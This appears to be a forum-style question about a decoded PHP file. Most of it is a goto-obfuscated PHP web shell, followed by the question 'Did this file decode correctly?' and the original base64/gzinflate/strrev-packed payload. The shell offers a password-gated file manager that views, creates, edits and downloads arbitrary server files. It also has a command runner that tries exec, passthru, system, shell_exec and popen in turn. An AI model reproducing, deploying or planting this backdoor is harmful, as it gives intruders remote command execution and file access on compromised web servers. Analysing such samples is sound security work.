value=">>"></form>\'; goto b230b; a8d29: } goto b328a; D1729: rAKCgHeader(); goto Ffd3f; aca4e: if (isset($_POST[\'p1\'])) { $_POST[\'p1\'] = urldecode($_POST[\'p1\']); } goto c44f8; b328a: Ce87d: goto D1c65; a43eb: echo \'<br><br>\'; goto D8a2a; E13ce: echo \'<span>Name:</span> \' . htmlspecialchars(@basename($_POST[\'p1\'])) . \' <span>Size:</span> \' . (is_file($_POST[\'p1\']) ? rAKCgViewSize(filesize($_POST[\'p1\'])) : \'-\') . \' <span>Permission:</span> \' . rAKCgPermsColor($_POST[\'p1\']) . \' <span>Owner/Group:</span> \' . $uid[\'name\'] . \'/\' . $gid[\'name\'] . \'<br>\'; goto a0285; F9f23: if (@$_POST[\'p2\'] == \'mkfile\') { if (!file_exists($_POST[\'p1\'])) { $fp = @fopen($_POST[\'p1\'], \'w\'); if ($fp) { $_POST[\'p2\'] = "edit"; fclose($fp); } } } goto D1729; D1c65: f809c: goto Bb4f2; a6e25: rAKCgFooter(); goto Cf70f; c44f8: if (@$_POST[\'p2\'] == \'download\') { if (@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) { goto d71c1; b0c72: if ($fp) { goto A9135; d9f08: a57d2: goto D6588; f6664: if (@feof($fp)) { goto a57d2; } goto E12a1; D6588: fclose($fp); goto Caaa3; E12a1: echo @fread($fp, 1024); goto cb40e; cb40e: goto f7abb; goto d9f08; A9135: f7abb: goto f6664; Caaa3: } goto eddf9; Ab0aa: header("Content-Disposition: attachment; filename=" . basename($_POST[\'p1\'])); goto Fd6c4; Fd6c4: if (function_exists("mime_content_type")) { $type = @mime_content_type($_POST[\'p1\']); header("Content-Type: " . $type); } else { header("Content-Type: application/octet-stream"); } goto a0ba8; d71c1: ob_start("ob_gzhandler", 4096); goto Ab0aa; a0ba8: $fp = @fopen($_POST[\'p1\'], "r"); goto b0c72; eddf9: } exit; } goto F9f23; a0285: echo \'<span>Change time:</span> \' . date(\'Y-m-d H:i:s\', filectime($_POST[\'p1\'])) . \' <span>Access time:</span> \' . date(\'Y-m-d H:i:s\', fileatime($_POST[\'p1\'])) . \' <span>Modify time:</span> \' . date(\'Y-m-d H:i:s\', filemtime($_POST[\'p1\'])) . \'<br><br>\'; goto ca08c; ca08c: if (empty($_POST[\'p2\'])) { $_POST[\'p2\'] = \'view\'; } goto eba45; Bb4f2: echo \'</div>\'; goto a6e25; cc73d: foreach ($m as $v) { echo \'<a href=# onclick="g(null,null,\'\' . urlencode($_POST[\'p1\']) . \'\',\'\' . strtolower($v) . \'\')">\' . (strtolower($v) == @$_POST[\'p2\'] ? \'<b>[ \' . $v . \' ]</b>\' : $v) . \'</a> \'; B2bce: } goto F19ec; Ffd3f: echo \'<h1>File tools</h1><div class=content>\'; goto f2d25; Cf70f: } goto a616a; b55d9: function rAKCgEx($in) { goto b48ca; b48ca: $out = \'\'; goto be156; A36c4: return $out; goto d167e; be156: if (function_exists(\'exec\')) { @exec($in, $out); $out = @join("
", $out); } elseif (function_exists(\'passthru\')) { goto a9bd4; a9bd4: ob_start(); goto e718f; e718f: @passthru($in); goto Bd23a; Bd23a: $out = ob_get_clean(); goto bfe27; bfe27: } elseif (function_exists(\'system\')) { goto A8b6f; A8b6f: ob_start(); goto Ec20f; Ec20f: @system($in); goto c297b; c297b: $out = ob_get_clean(); goto Ea3cd; Ea3cd: } elseif (function_exists(\'shell_exec\')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in, "r"))) { goto ae06e; ae06e: $out = ""; goto c0a1f; D78c4: f466d: goto a6230; f5179: goto A5076; goto D78c4; C85e5: if (@feof($f)) { goto f466d; } goto daecc; a6230: pclose($f); goto Cf8e5; daecc: $out .= fread($f, 1024); goto f5179; c0a1f: A5076: goto C85e5; Cf8e5: } goto A36c4; d167e: } goto bfca1; F231e: if (!$safe_mode) { error_reporting(0); } goto e2109; D3242: function rAKCgLogin() { die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value=\'>>\'></form></pre>"); } goto A00ad; C6863: exit;'

Did this file decode correctly?

Original Code

echo strrev(gzinflate(base64_decode("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